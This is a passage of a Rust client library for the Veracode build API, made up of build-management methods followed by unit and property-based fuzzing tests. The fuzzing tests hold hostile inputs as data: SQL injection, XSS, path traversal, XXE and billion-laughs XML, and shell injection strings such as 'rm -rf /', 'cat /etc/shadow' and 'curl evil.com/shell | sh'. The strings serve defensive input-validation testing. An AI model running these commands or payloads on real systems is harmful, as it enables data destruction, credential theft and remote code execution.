1093    pub async fn create_sandbox_build(
1094        &self,
1095        app_id: &str,
1096        sandbox_id: &str,
1097        version: Option<&str>,
1098    ) -> Result<Build, BuildError> {
1099        let request = CreateBuildRequest {
1100            app_id: app_id.to_string(),
1101            version: version.map(str::to_string),
1102            lifecycle_stage: None,
1103            launch_date: None,
1104            sandbox_id: Some(sandbox_id.to_string()),
1105        };
1106
1107        self.create_build(&request).await
1108    }
1109
1110    /// Delete the most recent application build
1111    ///
1112    /// # Arguments
1113    ///
1114    /// * `app_id` - Application ID
1115    ///
1116    /// # Returns
1117    ///
1118    /// A `Result` containing the deletion result or an error.
1119    ///
1120    /// # Errors
1121    ///
1122    /// Returns an error if the API request fails, authentication fails,
1123    /// or the operation is rejected by the Veracode platform.
1124    pub async fn delete_app_build(&self, app_id: &str) -> Result<DeleteBuildResult, BuildError> {
1125        let request = DeleteBuildRequest {
1126            app_id: app_id.to_string(),
1127            sandbox_id: None,
1128        };
1129
1130        self.delete_build(&request).await
1131    }
1132
1133    /// Delete the most recent sandbox build
1134    ///
1135    /// # Arguments
1136    ///
1137    /// * `app_id` - Application ID
1138    /// * `sandbox_id` - Sandbox ID
1139    ///
1140    /// # Returns
1141    ///
1142    /// A `Result` containing the deletion result or an error.
1143    ///
1144    /// # Errors
1145    ///
1146    /// Returns an error if the API request fails, authentication fails,
1147    /// or the operation is rejected by the Veracode platform.
1148    pub async fn delete_sandbox_build(
1149        &self,
1150        app_id: &str,
1151        sandbox_id: &str,
1152    ) -> Result<DeleteBuildResult, BuildError> {
1153        let request = DeleteBuildRequest {
1154            app_id: app_id.to_string(),
1155            sandbox_id: Some(sandbox_id.to_string()),
1156        };
1157
1158        self.delete_build(&request).await
1159    }
1160
1161    /// Get the most recent build info for an application
1162    ///
1163    /// # Arguments
1164    ///
1165    /// * `app_id` - Application ID
1166    ///
1167    /// # Returns
1168    ///
1169    /// A `Result` containing the build information or an error.
1170    ///
1171    /// # Errors
1172    ///
1173    /// Returns an error if the API request fails, authentication fails,
1174    /// or the operation is rejected by the Veracode platform.
1175    pub async fn get_app_build_info(&self, app_id: &str) -> Result<Build, BuildError> {
1176        let request = GetBuildInfoRequest {
1177            app_id: app_id.to_string(),
1178            build_id: None,
1179            sandbox_id: None,
1180        };
1181
1182        self.get_build_info(&request).await
1183    }
1184
1185    /// Get build info for a specific sandbox
1186    ///
1187    /// # Arguments
1188    ///
1189    /// * `app_id` - Application ID
1190    /// * `sandbox_id` - Sandbox ID
1191    ///
1192    /// # Returns
1193    ///
1194    /// A `Result` containing the build information or an error.
1195    ///
1196    /// # Errors
1197    ///
1198    /// Returns an error if the API request fails, authentication fails,
1199    /// or the operation is rejected by the Veracode platform.
1200    pub async fn get_sandbox_build_info(
1201        &self,
1202        app_id: &str,
1203        sandbox_id: &str,
1204    ) -> Result<Build, BuildError> {
1205        let request = GetBuildInfoRequest {
1206            app_id: app_id.to_string(),
1207            build_id: None,
1208            sandbox_id: Some(sandbox_id.to_string()),
1209        };
1210
1211        self.get_build_info(&request).await
1212    }
1213
1214    /// Get list of all builds for an application
1215    ///
1216    /// # Arguments
1217    ///
1218    /// * `app_id` - Application ID
1219    ///
1220    /// # Returns
1221    ///
1222    /// A `Result` containing the build list or an error.
1223    ///
1224    /// # Errors
1225    ///
1226    /// Returns an error if the API request fails, authentication fails,
1227    /// or the operation is rejected by the Veracode platform.
1228    pub async fn get_app_builds(&self, app_id: &str) -> Result<BuildList, BuildError> {
1229        let request = GetBuildListRequest {
1230            app_id: app_id.to_string(),
1231            sandbox_id: None,
1232        };
1233
1234        self.get_build_list(&request).await
1235    }
1236
1237    /// Get list of builds for a sandbox
1238    ///
1239    /// # Arguments
1240    ///
1241    /// * `app_id` - Application ID
1242    /// * `sandbox_id` - Sandbox ID
1243    ///
1244    /// # Returns
1245    ///
1246    /// A `Result` containing the build list or an error.
1247    ///
1248    /// # Errors
1249    ///
1250    /// Returns an error if the API request fails, authentication fails,
1251    /// or the operation is rejected by the Veracode platform.
1252    pub async fn get_sandbox_builds(
1253        &self,
1254        app_id: &str,
1255        sandbox_id: &str,
1256    ) -> Result<BuildList, BuildError> {
1257        let request = GetBuildListRequest {
1258            app_id: app_id.to_string(),
1259            sandbox_id: Some(sandbox_id.to_string()),
1260        };
1261
1262        self.get_build_list(&request).await
1263    }
1264}
1265
1266#[cfg(test)]
1267mod tests {
1268    use super::*;
1269    use crate::VeracodeConfig;
1270
1271    #[test]
1272    fn test_create_build_request() {
1273        let request = CreateBuildRequest {
1274            app_id: "123".to_string(),
1275            version: Some("1.0.0".to_string()),
1276            lifecycle_stage: Some("In Development (pre-Alpha)".to_string()),
1277            launch_date: Some("12/31/2024".to_string()),
1278            sandbox_id: None,
1279        };
1280
1281        assert_eq!(request.app_id, "123");
1282        assert_eq!(request.version, Some("1.0.0".to_string()));
1283        assert_eq!(
1284            request.lifecycle_stage,
1285            Some("In Development (pre-Alpha)".to_string())
1286        );
1287    }
1288
1289    #[test]
1290    fn test_update_build_request() {
1291        let request = UpdateBuildRequest {
1292            app_id: "123".to_string(),
1293            build_id: Some("456".to_string()),
1294            version: Some("1.1.0".to_string()),
1295            lifecycle_stage: Some("Internal or Alpha Testing".to_string()),
1296            launch_date: None,
1297            sandbox_id: Some("789".to_string()),
1298        };
1299
1300        assert_eq!(request.app_id, "123");
1301        assert_eq!(request.build_id, Some("456".to_string()));
1302        assert_eq!(request.sandbox_id, Some("789".to_string()));
1303    }
1304
1305    #[test]
1306    fn test_lifecycle_stage_validation() {
1307        // Test valid lifecycle stages
1308        assert!(is_valid_lifecycle_stage("In Development (pre-Alpha)"));
1309        assert!(is_valid_lifecycle_stage("Internal or Alpha Testing"));
1310        assert!(is_valid_lifecycle_stage("External or Beta Testing"));
1311        assert!(is_valid_lifecycle_stage("Deployed"));
1312        assert!(is_valid_lifecycle_stage("Maintenance"));
1313        assert!(is_valid_lifecycle_stage("Cannot Disclose"));
1314        assert!(is_valid_lifecycle_stage("Not Specified"));
1315
1316        // Test invalid lifecycle stages
1317        assert!(!is_valid_lifecycle_stage("In Development"));
1318        assert!(!is_valid_lifecycle_stage("Development"));
1319        assert!(!is_valid_lifecycle_stage("QA"));
1320        assert!(!is_valid_lifecycle_stage("Production"));
1321        assert!(!is_valid_lifecycle_stage(""));
1322
1323        // Test default
1324        assert_eq!(default_lifecycle_stage(), "In Development (pre-Alpha)");
1325        assert!(is_valid_lifecycle_stage(default_lifecycle_stage()));
1326    }
1327
1328    #[test]
1329    fn test_build_error_display() {
1330        let error = BuildError::BuildNotFound;
1331        assert_eq!(error.to_string(), "Build not found");
1332
1333        let error = BuildError::InvalidParameter("Invalid app_id".to_string());
1334        assert_eq!(error.to_string(), "Invalid parameter: Invalid app_id");
1335
1336        let error = BuildError::CreationFailed("Build creation failed".to_string());
1337        assert_eq!(
1338            error.to_string(),
1339            "Build creation failed: Build creation failed"
1340        );
1341    }
1342
1343    #[tokio::test]
1344    async fn test_build_api_method_signatures() {
1345        async fn _test_build_methods() -> Result<(), Box<dyn std::error::Error>> {
1346            let config = VeracodeConfig::new("test", "test");
1347            let client = VeracodeClient::new(config)?;
1348            let api = client.build_api()?;
1349
1350            // Test that the method signatures exist and compile
1351            let create_request = CreateBuildRequest {
1352                app_id: "123".to_string(),
1353                version: None,
1354                lifecycle_stage: None,
1355                launch_date: None,
1356                sandbox_id: None,
1357            };
1358
1359            // These calls won't actually execute due to test environment,
1360            // but they validate the method signatures exist
1361            let _: Result<Build, _> = api.create_build(&create_request).await;
1362            let _: Result<Build, _> = api.create_simple_build("123", None).await;
1363            let _: Result<Build, _> = api.create_sandbox_build("123", "456", None).await;
1364            let _: Result<DeleteBuildResult, _> = api.delete_app_build("123").await;
1365            let _: Result<Build, _> = api.get_app_build_info("123").await;
1366            let _: Result<BuildList, _> = api.get_app_builds("123").await;
1367
1368            Ok(())
1369        }
1370
1371        // If this compiles, the methods have correct signatures
1372        // Test passes if no panic occurs
1373    }
1374
1375    #[test]
1376    fn test_build_status_from_str() {
1377        assert_eq!(
1378            BuildStatus::from_string("Incomplete"),
1379            BuildStatus::Incomplete
1380        );
1381        assert_eq!(
1382            BuildStatus::from_string("Results Ready"),
1383            BuildStatus::ResultsReady
1384        );
1385        assert_eq!(
1386            BuildStatus::from_string("Pre-Scan Failed"),
1387            BuildStatus::PreScanFailed
1388        );
1389        assert_eq!(
1390            BuildStatus::from_string("Unknown Status"),
1391            BuildStatus::Unknown("Unknown Status".to_string())
1392        );
1393    }
1394
1395    #[test]
1396    fn test_build_status_to_str() {
1397        assert_eq!(BuildStatus::Incomplete.to_str(), "Incomplete");
1398        assert_eq!(BuildStatus::ResultsReady.to_str(), "Results Ready");
1399        assert_eq!(BuildStatus::PreScanFailed.to_str(), "Pre-Scan Failed");
1400        assert_eq!(
1401            BuildStatus::Unknown("Custom".to_string()).to_str(),
1402            "Custom"
1403        );
1404    }
1405
1406    #[test]
1407    fn test_build_status_deletion_policy_0() {
1408        // Policy 0: Never delete builds
1409        assert!(!BuildStatus::Incomplete.is_safe_to_delete(0));
1410        assert!(!BuildStatus::ResultsReady.is_safe_to_delete(0));
1411        assert!(!BuildStatus::Failed.is_safe_to_delete(0));
1412    }
1413
1414    #[test]
1415    fn test_build_status_deletion_policy_1() {
1416        // Policy 1: Delete only safe builds (incomplete, failed, cancelled states)
1417        assert!(BuildStatus::Incomplete.is_safe_to_delete(1));
1418        assert!(BuildStatus::NotSubmitted.is_safe_to_delete(1));
1419        assert!(BuildStatus::PreScanFailed.is_safe_to_delete(1));
1420        assert!(BuildStatus::Failed.is_safe_to_delete(1));
1421        assert!(BuildStatus::Cancelled.is_safe_to_delete(1));
1422
1423        // Should not delete active or successful builds
1424        assert!(!BuildStatus::ResultsReady.is_safe_to_delete(1));
1425        assert!(!BuildStatus::ScanInProcess.is_safe_to_delete(1));
1426        assert!(!BuildStatus::PreScanSuccess.is_safe_to_delete(1));
1427    }
1428
1429    #[test]
1430    fn test_build_status_deletion_policy_2() {
1431        // Policy 2: Delete any build except Results Ready
1432        assert!(BuildStatus::Incomplete.is_safe_to_delete(2));
1433        assert!(BuildStatus::Failed.is_safe_to_delete(2));
1434        assert!(BuildStatus::ScanInProcess.is_safe_to_delete(2));
1435        assert!(BuildStatus::PreScanSuccess.is_safe_to_delete(2));
1436
1437        // Should not delete Results Ready
1438        assert!(!BuildStatus::ResultsReady.is_safe_to_delete(2));
1439    }
1440
1441    #[test]
1442    fn test_build_status_deletion_policy_invalid() {
1443        // Invalid policy should default to never delete
1444        assert!(!BuildStatus::Incomplete.is_safe_to_delete(3));
1445        assert!(!BuildStatus::Failed.is_safe_to_delete(255));
1446    }
1447}
1448
1449#[cfg(test)]
1450#[allow(clippy::expect_used)] // Test code: expect is acceptable for test setup
1451mod proptests {
1452    use super::*;
1453    use proptest::prelude::*;
1454
1455    // Strategy for generating arbitrary build status strings
1456    fn arbitrary_status_string() -> impl Strategy<Value = String> {
1457        prop::string::string_regex("[A-Za-z0-9 -]{1,100}")
1458            .expect("valid regex pattern for arbitrary status string")
1459    }
1460
1461    // Strategy for generating valid lifecycle stages
1462    fn valid_lifecycle_stage_strategy() -> impl Strategy<Value = &'static str> {
1463        prop::sample::select(LIFECYCLE_STAGES)
1464    }
1465
1466    // Strategy for generating invalid lifecycle stages (fuzzing)
1467    fn invalid_lifecycle_stage_strategy() -> impl Strategy<Value = String> {
1468        prop_oneof![
1469            // Empty or whitespace
1470            Just("".to_string()),
1471            Just("   ".to_string()),
1472            // Case variations of valid stages (should fail - case sensitive)
1473            Just("in development (pre-alpha)".to_string()),
1474            Just("DEPLOYED".to_string()),
1475            // Partial matches
1476            Just("In Development".to_string()),
1477            Just("Deployed ".to_string()),
1478            Just(" Maintenance".to_string()),
1479            // SQL/XSS injection attempts
1480            Just("'; DROP TABLE builds; --".to_string()),
1481            Just("<script>alert('xss')</script>".to_string()),
1482            // Path traversal
1483            Just("../../etc/passwd".to_string()),
1484            Just("..\\..\\windows\\system32".to_string()),
1485            // Control characters
1486            Just("Deployed\0".to_string()),
1487            Just("Maintenance\n\r".to_string()),
1488            // Unicode attacks
1489            Just("Deployed\u{202E}".to_string()), // Right-to-left override
1490            Just("Maintenance\u{FEFF}".to_string()), // Zero-width no-break space
1491            // Very long strings
1492            prop::string::string_regex(".{256,512}").expect("valid regex pattern for long strings"),
1493        ]
1494    }
1495
1496    proptest! {
1497        #![proptest_config(ProptestConfig {
1498            cases: if cfg!(miri) { 5 } else { 1000 },
1499            failure_persistence: None,
1500            .. ProptestConfig::default()
1501        })]
1502
1503        /// Property: All valid lifecycle stages must be accepted
1504        #[test]
1505        fn proptest_valid_lifecycle_stages_always_accepted(
1506            stage in valid_lifecycle_stage_strategy()
1507        ) {
1508            prop_assert!(is_valid_lifecycle_stage(stage));
1509        }
1510
1511        /// Property: Invalid lifecycle stages must always be rejected
1512        #[test]
1513        fn proptest_invalid_lifecycle_stages_always_rejected(
1514            stage in invalid_lifecycle_stage_strategy()
1515        ) {
1516            prop_assert!(!is_valid_lifecycle_stage(&stage));
1517        }
1518
1519        /// Property: BuildStatus parsing must never panic on arbitrary input
1520        #[test]
1521        fn proptest_build_status_parsing_never_panics(
1522            status in arbitrary_status_string()
1523        ) {
1524            let result = BuildStatus::from_string(&status);
1525            // Must always produce a result (never panic)
1526            prop_assert!(matches!(result, BuildStatus::Unknown(_)) ||
1527                        matches!(result, BuildStatus::Incomplete) ||
1528                        matches!(result, BuildStatus::NotSubmitted) ||
1529                        matches!(result, BuildStatus::SubmittedToEngine) ||
1530                        matches!(result, BuildStatus::ScanInProcess) ||
1531                        matches!(result, BuildStatus::PreScanSubmitted) ||
1532                        matches!(result, BuildStatus::PreScanSuccess) ||
1533                        matches!(result, BuildStatus::PreScanFailed) ||
1534                        matches!(result, BuildStatus::PreScanCancelled) ||
1535                        matches!(result, BuildStatus::PrescanFailed) ||
1536                        matches!(result, BuildStatus::PrescanCancelled) ||
1537                        matches!(result, BuildStatus::ScanCancelled) ||
1538                        matches!(result, BuildStatus::ResultsReady) ||
1539                        matches!(result, BuildStatus::Failed) ||
1540                        matches!(result, BuildStatus::Cancelled));
1541        }
1542
1543        /// Property: BuildStatus roundtrip (from_string -> to_str) must be consistent for known statuses
1544        #[test]
1545        fn proptest_build_status_roundtrip_consistency(
1546            status in prop::sample::select(vec![
1547                "Incomplete", "Not Submitted", "Submitted to Engine", "Scan in Process",
1548                "Pre-Scan Submitted", "Pre-Scan Success", "Pre-Scan Failed", "Pre-Scan Cancelled",
1549                "Prescan Failed", "Prescan Cancelled", "Scan Cancelled", "Results Ready",
1550                "Failed", "Cancelled"
1551            ])
1552        ) {
1553            let parsed = BuildStatus::from_string(status);
1554            let back_to_str = parsed.to_str();
1555            prop_assert_eq!(back_to_str, status);
1556        }
1557
1558        /// Property: Deletion policy 0 must NEVER allow deletion (safety critical)
1559        #[test]
1560        fn proptest_deletion_policy_0_never_deletes(
1561            status in arbitrary_status_string()
1562        ) {
1563            let build_status = BuildStatus::from_string(&status);
1564            prop_assert!(!build_status.is_safe_to_delete(0));
1565        }
1566
1567        /// Property: Deletion policy must be monotonic (higher policy = more permissive)
1568        #[test]
1569        fn proptest_deletion_policy_monotonicity(
1570            status in arbitrary_status_string(),
1571            policy1 in 0u8..=2,
1572            policy2 in 0u8..=2
1573        ) {
1574            let build_status = BuildStatus::from_string(&status);
1575
1576            // If policy1 allows deletion, policy2 (if higher) should also allow it
1577            if policy1 <= policy2 && build_status.is_safe_to_delete(policy1) {
1578                prop_assert!(build_status.is_safe_to_delete(policy2));
1579            }
1580        }
1581
1582        /// Property: Results Ready builds must NEVER be deletable under any valid policy
1583        #[test]
1584        fn proptest_results_ready_never_deletable(policy in 0u8..=2) {
1585            prop_assert!(!BuildStatus::ResultsReady.is_safe_to_delete(policy));
1586        }
1587
1588        /// Property: Invalid policies (>2) must default to safe (never delete)
1589        #[test]
1590        fn proptest_invalid_deletion_policy_safe_default(
1591            status in arbitrary_status_string(),
1592            policy in 3u8..=255
1593        ) {
1594            let build_status = BuildStatus::from_string(&status);
1595            prop_assert!(!build_status.is_safe_to_delete(policy));
1596        }
1597
1598        /// Property: Lifecycle stage validation must be consistent
1599        #[test]
1600        fn proptest_lifecycle_stage_validation_consistency(
1601            stage in prop::string::string_regex(".{0,200}")
1602                .expect("valid regex pattern for lifecycle stage")
1603        ) {
1604            let is_valid = is_valid_lifecycle_stage(&stage);
1605
1606            // If valid, must be in LIFECYCLE_STAGES array
1607            if is_valid {
1608                prop_assert!(LIFECYCLE_STAGES.contains(&stage.as_str()));
1609            }
1610
1611            // If not in array, must be invalid
1612            if !LIFECYCLE_STAGES.contains(&stage.as_str()) {
1613                prop_assert!(!is_valid);
1614            }
1615        }
1616    }
1617}
1618
1619#[cfg(test)]
1620mod api_request_fuzzing_proptests {
1621    use super::*;
1622    use proptest::prelude::*;
1623
1624    // Strategy for generating arbitrary app IDs with malicious patterns
1625    fn malicious_app_id_strategy() -> impl Strategy<Value = String> {
1626        prop_oneof![
1627            // SQL injection patterns
1628            Just("'; DROP TABLE apps; --".to_string()),
1629            Just("' OR '1'='1".to_string()),
1630            Just("1 UNION SELECT * FROM users--".to_string()),
1631            // XSS patterns
1632            Just("<script>alert('xss')</script>".to_string()),
1633            Just("javascript:alert(1)".to_string()),
1634            Just("\"><script>alert(String.fromCharCode(88,83,83))</script>".to_string()),
1635            // Path traversal
1636            Just("../../../etc/passwd".to_string()),
1637            Just("..\\..\\..\\windows\\system32\\config\\sam".to_string()),
1638            // Command injection
1639            Just("; rm -rf /".to_string()),
1640            Just("| cat /etc/shadow".to_string()),
1641            Just("& net user hacker password /add".to_string()),
1642            // Null byte injection
1643            Just("123\0malicious".to_string()),
1644            // Format string attacks
1645            Just("%s%s%s%s%s%s%s%s%s%s".to_string()),
1646            Just("%n%n%n%n%n".to_string()),
1647            // LDAP injection
1648            Just("*)(uid=*))(|(uid=*".to_string()),
1649            // NoSQL injection
1650            Just("{\"$ne\": null}".to_string()),
1651            Just("{\"$gt\": \"\"}".to_string()),
1652            // Empty/whitespace
1653            Just("".to_string()),
1654            Just("   ".to_string()),
1655            // Very long strings (DoS)
1656            prop::string::string_regex(".{1000,5000}")
1657                .expect("valid regex pattern for very long strings"),
1658            // Unicode normalization attacks
1659            Just("\u{FEFF}123".to_string()), // Zero-width no-break space
1660            Just("123\u{200B}".to_string()), // Zero-width space
1661            Just("\u{202E}123\u{202D}".to_string()), // Right-to-left override
1662            // Control characters
1663            Just("123\r\n456".to_string()),
1664            Just("123\t456\n789".to_string()),
1665        ]
1666    }
1667
1668    // Strategy for malicious version strings
1669    fn malicious_version_strategy() -> impl Strategy<Value = String> {
1670        prop_oneof![
1671            // Path traversal in version
1672            Just("../../../etc/passwd".to_string()),
1673            Just("..\\..\\..\\windows\\system32".to_string()),
1674            // Command injection
1675            Just("1.0.0; curl evil.com/shell | sh".to_string()),
1676            Just("1.0`whoami`".to_string()),
1677            Just("1.0$(reboot)".to_string()),
1678            // XSS
1679            Just("<img src=x onerror=alert(1)>".to_string()),
1680            // Very long version strings
1681            prop::string::string_regex(".{500,1000}")
1682                .expect("valid regex pattern for long version strings"),
1683            // Special characters
1684            Just("\0\0\0".to_string()),
1685            Just("'\"\\n\\r\\t".to_string()),
1686            // Unicode attacks
1687            Just("\u{FEFF}1.0.0".to_string()),
1688        ]
1689    }
1690
1691    // Strategy for malicious date strings
1692    fn malicious_date_strategy() -> impl Strategy<Value = String> {
1693        prop_oneof![
1694            // Invalid date formats
1695            Just("2024-13-45".to_string()), // Invalid month/day
1696            Just("99/99/9999".to_string()),
1697            Just("00/00/0000".to_string()),
1698            // SQL injection
1699            Just("12/31/2024'; DROP TABLE dates; --".to_string()),
1700            // Format string
1701            Just("%s%s%s%s".to_string()),
1702            // Command injection
1703            Just("12/31/2024; cat /etc/passwd".to_string()),
1704            // Very long dates
1705            prop::string::string_regex(".{100,500}")
1706                .expect("valid regex pattern for long date strings"),
1707            // Negative values
1708            Just("-1/-1/-1".to_string()),
1709            // Integer overflow attempts
1710            Just("99999999/99999999/99999999".to_string()),
1711        ]
1712    }
1713
1714    proptest! {
1715        #![proptest_config(ProptestConfig {
1716            cases: if cfg!(miri) { 5 } else { 500 },
1717            failure_persistence: None,
1718            .. ProptestConfig::default()
1719        })]
1720
1721        /// Property: CreateBuildRequest construction never panics with malicious inputs
1722        #[test]
1723        fn proptest_create_build_request_malicious_input_safety(
1724            app_id in malicious_app_id_strategy(),
1725            version in malicious_version_strategy(),
1726            launch_date in malicious_date_strategy()
1727        ) {
1728            // Construction must never panic
1729            let request = CreateBuildRequest {
1730                app_id: app_id.clone(),
1731                version: Some(version.clone()),
1732                lifecycle_stage: Some("In Development (pre-Alpha)".to_string()),
1733                launch_date: Some(launch_date.clone()),
1734                sandbox_id: None,
1735            };
1736
1737            // Verify fields stored correctly (no injection/corruption)
1738            prop_assert_eq!(request.app_id, app_id);
1739            prop_assert_eq!(request.version, Some(version));
1740            prop_assert_eq!(request.launch_date, Some(launch_date));
1741        }
1742
1743        /// Property: UpdateBuildRequest construction never panics with malicious inputs
1744        #[test]
1745        fn proptest_update_build_request_malicious_input_safety(
1746            app_id in malicious_app_id_strategy(),
1747            build_id in malicious_app_id_strategy(),
1748            version in malicious_version_strategy()
1749        ) {
1750            let request = UpdateBuildRequest {
1751                app_id: app_id.clone(),
1752                build_id: Some(build_id.clone()),
1753                version: Some(version.clone()),
1754                lifecycle_stage: None,
1755                launch_date: None,
1756                sandbox_id: None,
1757            };
1758
1759            prop_assert_eq!(request.app_id, app_id);
1760            prop_assert_eq!(request.build_id, Some(build_id));
1761            prop_assert_eq!(request.version, Some(version));
1762        }
1763
1764        /// Property: DeleteBuildRequest construction never panics with malicious inputs
1765        #[test]
1766        fn proptest_delete_build_request_malicious_input_safety(
1767            app_id in malicious_app_id_strategy(),
1768            sandbox_id in malicious_app_id_strategy()
1769        ) {
1770            let request = DeleteBuildRequest {
1771                app_id: app_id.clone(),
1772                sandbox_id: Some(sandbox_id.clone()),
1773            };
1774
1775            prop_assert_eq!(request.app_id, app_id);
1776            prop_assert_eq!(request.sandbox_id, Some(sandbox_id));
1777        }
1778
1779        /// Property: Lifecycle stage validation rejects malicious inputs
1780        #[test]
1781        fn proptest_lifecycle_stage_rejects_malicious_input(
1782            malicious_stage in prop_oneof![
1783                malicious_app_id_strategy(),
1784                malicious_version_strategy(),
1785                Just("'; DROP TABLE stages; --".to_string()),
1786                Just("<script>alert('xss')</script>".to_string()),
1787            ]
1788        ) {
1789            // Malicious stages must not be validated as correct
1790            // (unless by extreme chance they match a valid stage exactly)
1791            let is_valid = is_valid_lifecycle_stage(&malicious_stage);
1792
1793            if is_valid {
1794                // If somehow valid, must be in the whitelist
1795                prop_assert!(LIFECYCLE_STAGES.contains(&malicious_stage.as_str()));
1796            } else {
1797                // Most malicious inputs should be rejected
1798                prop_assert!(!LIFECYCLE_STAGES.contains(&malicious_stage.as_str()));
1799            }
1800        }
1801
1802        /// Property: Build structure handles malicious attributes safely
1803        #[test]
1804        fn proptest_build_structure_malicious_attributes(
1805            key in malicious_version_strategy(),
1806            value in malicious_app_id_strategy()
1807        ) {
1808            let mut build = Build {
1809                build_id: "123".to_string(),
1810                app_id: "456".to_string(),
1811                version: None,
1812                app_name: None,
1813                sandbox_id: None,
1814                sandbox_name: None,
1815                lifecycle_stage: None,
1816                launch_date: None,
1817                submitter: None,
1818                platform: None,
1819                analysis_unit: None,
1820                policy_name: None,
1821                policy_version: None,
1822                policy_compliance_status: None,
1823                rules_status: None,
1824                grace_period_expired: None,
1825                scan_overdue: None,
1826                policy_updated_date: None,
1827                legacy_scan_engine: None,
1828                attributes: HashMap::new(),
1829            };
1830
1831            // Inserting malicious attributes must not panic
1832            build.attributes.insert(key.clone(), value.clone());
1833
1834            // Verify stored correctly without corruption
1835            prop_assert_eq!(build.attributes.get(&key), Some(&value));
1836        }
1837
1838        /// Property: BuildError display never panics with malicious messages
1839        #[test]
1840        fn proptest_build_error_display_safety(
1841            msg in malicious_app_id_strategy()
1842        ) {
1843            let errors = vec![
1844                BuildError::InvalidParameter(msg.clone()),
1845                BuildError::CreationFailed(msg.clone()),
1846                BuildError::UpdateFailed(msg.clone()),
1847                BuildError::DeletionFailed(msg.clone()),
1848                BuildError::XmlParsingError(msg.clone()),
1849            ];
1850
1851            for error in errors {
1852                // Display must never panic
1853                let _ = error.to_string();
1854                let _ = format!("{error}");
1855            }
1856        }
1857
1858        /// Property: BuildStatus Unknown variant handles arbitrary strings safely
1859        #[test]
1860        fn proptest_build_status_unknown_variant_safety(
1861            arbitrary_status in malicious_app_id_strategy()
1862        ) {
1863            let status = BuildStatus::Unknown(arbitrary_status.clone());
1864
1865            // to_str must never panic
1866            let str_repr = status.to_str();
1867            prop_assert_eq!(str_repr, arbitrary_status.as_str());
1868
1869            // Display must never panic
1870            let _ = status.to_string();
1871            let _ = format!("{status}");
1872
1873            // Deletion safety must still work
1874            let _ = status.is_safe_to_delete(0);
1875            let _ = status.is_safe_to_delete(1);
1876            let _ = status.is_safe_to_delete(2);
1877        }
1878    }
1879}
1880
1881#[cfg(test)]
1882mod xml_parsing_proptests {
1883    use super::*;
1884    use crate::{VeracodeClient, VeracodeConfig};
1885    use proptest::prelude::*;
1886
1887    // Strategy for generating malicious XML payloads
1888    fn malicious_xml_strategy() -> impl Strategy<Value = String> {
1889        prop_oneof![
1890            // XML bomb (billion laughs attack) - simplified version
1891            Just(r#"<?xml version="1.0"?>
1892<!DOCTYPE lolz [
1893  <!ENTITY lol "lol">
1894  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
1895]>
1896<build build_id="&lol2;" app_id="123"/>"#.to_string()),
1897
1898            // XXE (External Entity) injection
1899            Just(r#"<?xml version="1.0"?>
1900<!DOCTYPE build [
1901  <!ENTITY xxe SYSTEM "file:///etc/passwd">
1902]>
1903<build build_id="&xxe;" app_id="123"/>"#.to_string()),
1904
1905            // Malformed/unclosed tags
1906            Just("<build build_id=\"123\" app_id=\"456\"".to_string()),
1907            Just("<build build_id=\"123\"><invalid></build>".to_string()),
1908
1909            // XSS in attributes
1910            Just(r#"<build build_id="<script>alert('xss')</script>" app_id="123"/>"#.to_string()),
1911            Just(r#"<build build_id="123" version="&lt;script&gt;alert('xss')&lt;/script&gt;"/>"#.to_string()),
1912
1913            // SQL injection in attributes
1914            Just(r#"<build build_id="'; DROP TABLE builds; --" app_id="123"/>"#.to_string()),
1915
1916            // Path traversal in attributes
1917            Just(r#"<build build_id="../../etc/passwd" app_id="123"/>"#.to_string()),
1918
1919            // Control characters and null bytes
1920            Just("<build build_id=\"123\0\" app_id=\"456\"/>".to_string()),
1921            Just("<build build_id=\"123\r\n\" app_id=\"456\"/>".to_string()),
1922
1923            // Unicode attacks
1924            Just("<build build_id=\"123\u{202E}\" app_id=\"456\"/>".to_string()),
1925
1926            // Empty/missing required fields
1927            Just("<build/>".to_string()),
1928            Just("<build build_id=\"\"/>".to_string()),
1929            Just("<build app_id=\"\"/>".to_string()),
1930
1931            // Deeply nested XML
1932            Just("<a><b><c><d><e><f><g><h><i><j><build build_id=\"123\" app_id=\"456\"/></j></i></h></g></f></e></d></c></b></a>".to_string()),
1933
1934            // Very long attribute values
1935            prop::string::string_regex(".{1000,2000}")
1936                .expect("valid regex pattern for very long XML attributes")
1937                .prop_map(|s| format!(r#"<build build_id="{s}" app_id="123"/>"#)),
1938        ]
1939    }
1940
1941    proptest! {
1942        #![proptest_config(ProptestConfig {
1943            cases: if cfg!(miri) { 5 } else { 500 },
1944            failure_persistence: None,
1945            .. ProptestConfig::default()
1946        })]
1947
1948        /// Property: XML parsing must never panic on malicious input
1949        #[test]
1950        fn proptest_xml_parsing_never_panics_on_malicious_input(
1951            xml in malicious_xml_strategy()
1952        ) {
1953            let config = VeracodeConfig::new("test_id", "test_key");
1954            let client = VeracodeClient::new(config)
1955                .expect("valid test client configuration");
1956            let api = BuildApi::new(client);
1957
1958            // Should either parse successfully or return an error, never panic
1959            let result = api.parse_build_info(&xml);
1960            prop_assert!(result.is_ok() || result.is_err());
1961        }
1962
1963        /// Property: XML parsing with error elements must return proper errors
1964        #[test]
1965        fn proptest_xml_error_handling(
1966            error_msg in prop::string::string_regex(".{1,200}")
1967                .expect("valid regex pattern for error messages")
1968        ) {
1969            let xml = format!("<error>{error_msg}</error>");
1970            let config = VeracodeConfig::new("test_id", "test_key");
1971            let client = VeracodeClient::new(config)
1972                .expect("valid test client configuration");
1973            let api = BuildApi::new(client);
1974
1975            let result = api.parse_build_info(&xml);
1976
1977            // Must return an error for error elements
1978            prop_assert!(result.is_err());
1979        }
1980
1981        /// Property: Valid minimal XML must parse successfully
1982        /// Note: Uses opening/closing tags because parser doesn't handle self-closing <build/> in Event::Empty
1983        #[test]
1984        fn proptest_minimal_valid_xml_parsing(
1985            build_id in "[0-9]{1,10}",
1986            app_id in "[0-9]{1,10}"
1987        ) {
1988            let xml = format!(r#"<build build_id="{build_id}" app_id="{app_id}"></build>"#);
1989            let config = VeracodeConfig::new("test_id", "test_key");
1990            let client = VeracodeClient::new(config)
1991                .expect("valid test client configuration");
1992            let api = BuildApi::new(client);
1993
1994            let result = api.parse_build_info(&xml);
1995
1996            prop_assert!(result.is_ok());
1997            if let Ok(build) = result {
1998                prop_assert_eq!(build.build_id, build_id);
1999                prop_assert_eq!(build.app_id, app_id);
2000            }
2001        }
2002
2003        /// Property: Build list parsing must handle empty lists
2004        #[test]
2005        fn proptest_empty_build_list_parsing(
2006            app_id in "[0-9]{1,10}"
2007        ) {
